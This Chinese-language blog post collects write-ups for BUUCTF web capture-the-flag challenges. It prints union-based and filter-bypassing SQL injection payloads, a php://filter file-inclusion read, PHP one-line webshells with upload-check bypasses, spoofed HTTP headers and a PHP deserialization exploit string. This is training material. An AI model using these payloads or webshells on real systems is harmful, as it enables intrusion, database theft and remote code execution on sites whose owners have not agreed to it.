buuctf-web

[极客大挑战 2019]Havefun

控制台检查代码修改url

[极客大挑战 2019]EasySQL

密码输入 ' 出现 sql输入错误 判断为 单引号注入

[ACTF2020 新生赛]Include

点击提示出现?file说明是文件包含问题 构造url file=php://filter/read=convert.base64-encode/resource=flag.php

php://filter 协议

  1. 是格式
  2. 是可选参数,有read和write,字面意思就是读和写
  3. 是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
  4. 是必选参数,后面写你要处理的文件名

[ACTF2020 新生赛]Exec

没有过滤;和ls

[极客大挑战 2019]LoveSQL

order by 4后报错,说明有三个字段

1' union select 1,2,database() #

得到数据库名:geek

1' union select 1,database(),version()#

要想正确的注入,首先要知道数据库类型,才能使用正确的语句,不同数据库查版本的语句不一样,这一步就要探究清楚,本题可知当前数据库为geek

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

mysql有一个数据库里面存有所有的其它数据库信息是information_schema,其中的tables字段存储有所有的表名,group_concat意思是将所有结果在一行输出 表为l0ve1ysq1

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

所有列名

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

得到flag

[极客大挑战 2019]Secret File

[极客大挑战 2019]Http

找到.php访问后

提示你不是来自https://www.Sycsecret.com的

题目是http ,很容易想起HTTP协议中的HTTP报文 header ,请求头和响应头。也就是有一些协议内容。

比如上面提示不是来自https://www.Sycsecret.com,就可以在header中添加上 Referer:https://www.Sycsecret.com ,来伪造访问来源,Referer协议就是告诉服务器我从哪里来。所以抓包修改。

添加后访问,提示请使用 Syclover 浏览器,这就可以想到用User-Agent协议来伪造访问工具为 Syclover 浏览器,这个协议就是告诉服务器我是用什么访问的 .修改 User-Agent 为User-Agent: Syclover 。再次提示No!!! you can only read this locally ,你只能在本地阅读。

只能在本地,我们可以伪造本地ip 127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问,这时得到flag

Referer:https://Sycsecret.buuoj.cn

User-Agent: Syclover

X-Forwarded-For:127.0.0.1

[极客大挑战 2019]Upload

先上传一个php文件看看回显<?php @eval($_POST['1234'])?>

一、服务端会拿报文的Content-Tyepe的值进行检查,所以要把值改成image/jpeg、image/png或者image/gif

但是页面却回显说NOT PHP,也即是说,我们不能上传以php为后缀的文件,我们这里想到了php3,phtml,Php等等

当我们把后缀修改为php3的时候,却回显说NOT PHP3

然后我们尝试一下phtml

但是回显还是说不能上传,意思是不是一个图片,这里我们可以使用gif文件头欺骗来进行绕过

回显说是我的内容里面不能有<?

修改后的一句话木马如下:

复制代码
GIF89a?
<script language="php">eval($_REQUEST[1234])</script>

发现上传成功。

接下来就是需要找到我们这个文件的位置,然后使用蚁剑进行连接就可以了。

在找文件目录的时候这里是需要一些运气的或者说是经验,我们可以猜测一下目录位置是/upload/访问一下看看

发现确实是这样,然后我们就可以这届找到我们的文件,然后进行连接了。

[极客大挑战 2019]Knife

**eval($_POST["Syc"]);**

**eval是PHP代码执行函数,**把字符串按照 PHP 代码来执行。

$_POST PHP方法将参数Syc作为POST传参方式

[极客大挑战 2019]BabySQL

构造万能密码注入
复制代码
123' or 1=1 #
居然爆出sql错误,
复制代码
...version for the right syntax to use near '1=1 #'' at line 1
仔细看报错信息,发现我们的 or 不见了,推测后端做了关键字检测,将关键字去掉了
这里尝试进行双写绕过,来证明我们的推测
复制代码
123' oorr 1=1 #

返回

复制代码
Hello admin!

Your password is 'eed87ca901c286579b6b4a0583bb6861'
那么证明双写可以完成注入,此题的考点也就是双写了
后面的内容就和 LoveSql一样了
复制代码
1. 排查回显字段
1' oorrder bbyy x#,令x=1逐渐增加进行尝试,当x=4时出现报错, 说明注入点字段长度为3
2. 爆库名b4bsql
1' uunionnion sselectelect database(),2,3#,依次变换函数database()的位置,确定哪个位置会回显出我们所查询的信息。经尝试,第三个注入点字段会回显查询信息
3. 爆表名geekuser
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
4. 爆列名id,username,password
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='表名'#
表名处替换为b4bsql或geekuser 得到三个相同的字段 'id,username,password'
5. 爆数据
1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#

[ACTF2020 新生赛]BackupFile

我们可以用dirsearch扫一下这个页面,

我们到主程序的目录下,也就是dirsearch的文件位置然后执行 py dirsearch.py -u url地址 -e*

然后我们在文件目录当中,发现了index.php.bak文件

于是我们回到网页加上路径,然后下载了index.php.bak文件,用notepad++发现了源码,审计发现是php的弱类型匹配

构造pyload?key=123

[网鼎杯 2020 青龙组]AreUSerialz

查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

在反序列化的过程中,调用__destruct析构方法

|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 | function __destruct() { ``if``(``$this``->op === ``"2"``) ``$this``->op = ``"1"``; ``$this``->content = ``""``; ``$this``->process(); } |

如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较

|----------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 | public function process() { ``if``(``$this``->op == ``"1"``) { ``$this``->write(); ``} ``else if``(``$this``->op == ``"2"``) { ``$res = ``$this``->read(); ``$this``->output(``$res``); ``} ``else { ``$this``->output(``"Bad Hacker!"``); ``} } |

进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。

所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数

|---------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 | private function read() { ``$res = ``""``; ``if``(isset(``$this``->filename)) { ``$res = ``file_get_contents``(``$this``->filename); ``} ``return $res``; } |

filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

|---------|-----------------------------------------------------------------------------------------------|
| 1 2 3 4 | private function output(``$s``) { ``echo "[Result]: <br>"``; ``echo $s``; } |

整个利用思路就很明显了,还有一个需要注意的地方是,op,filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | <?php class FileHandler { ``protected $op``=2; ``protected $filename``=``"php://filter/read=convert.base64-encode/resource=flag.php"``; ``protected $content``; ``function __construct() { ``$op = ``"1"``; ``$filename = ``"/tmp/tmpfile"``; ``$content = ``"Hello World!"``; ``// $this->process(); ``} ``public function process() { ``if``(``$this``->op == ``"1"``) { ``$this``->write(); ``} ``else if``(``$this``->op == ``"2"``) { ``$res = ``$this``->read(); ``$this``->output(``$res``); ``} ``else { ``$this``->output(``"Bad Hacker!"``); ``} ``} ``private function write() { ``if``(isset(``$this``->filename) && isset(``$this``->content)) { ``if``(``strlen``((string)``$this``->content) > 100) { ``$this``->output(``"Too long!"``); ``die``(); ``} ``$res = ``file_put_contents``(``$this``->filename, ``$this``->content); ``if``(``$res``) ``$this``->output(``"Successful!"``); ``else $this``->output(``"Failed!"``); ``} ``else { ``$this``->output(``"Failed!"``); ``} ``} ``private function read() { ``$res = ``""``; ``if``(isset(``$this``->filename)) { ``$res = ``file_get_contents``(``$this``->filename); ``} ``return $res``; ``} ``private function output(``$s``) { ``echo "[Result]: <br>"``; ``echo $s``; ``} ``function __destruct() { ``if``(``$this``->op === ``"2"``) ``$this``->op = ``"1"``; ``$this``->content = ``""``; ``// $this->process(); ``} } $A``=``new FileHandler(); $B``=serialize(``$A``); echo $B``; |

运行之后,这三个箭头指向的地方字符显示不正确的地方就是%00字符

在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

即:

|-------|------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 | public $op``=2; public $filename``=``"php://filter/read=convert.base64-encode/resource=flag.php"``; public $content``; |

现在得到的结果就没有%00字符了

从而得到pyload: ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

相关推荐
码农开荒路2 分钟前
Redis线程模型
数据库·redis·缓存
快乐非自愿7 分钟前
接口重试的7种常用方案!
服务器·数据库·php
supermapsupport8 分钟前
SuperMap GIS基础产品FAQ集锦(20250603)
服务器·数据库·webgl·supermap·idesktop
文牧之14 分钟前
PostgreSQL的扩展 passwordcheck
运维·数据库·postgresql
bing_15830 分钟前
如何合理设计缓存 Key的命名规范,以避免在共享 Redis 或跨服务场景下的冲突?
数据库·redis·缓存
健康平安的活着40 分钟前
mysql数据库实现分库分表,读写分离中间件sharding-sphere
数据库·mysql·中间件
黑客笔记1 小时前
安全大模型的思考
数据库·安全·web安全
穗余1 小时前
NodeJS全栈开发面试题讲解——P3数据库(MySQL / MongoDB / Redis)
数据库·mysql·node.js
切糕师学AI2 小时前
SQL 筛选出在表1但不在表2中的数据
数据库·sql
ontheway-xx2 小时前
MongoDB账号密码笔记
数据库·mongodb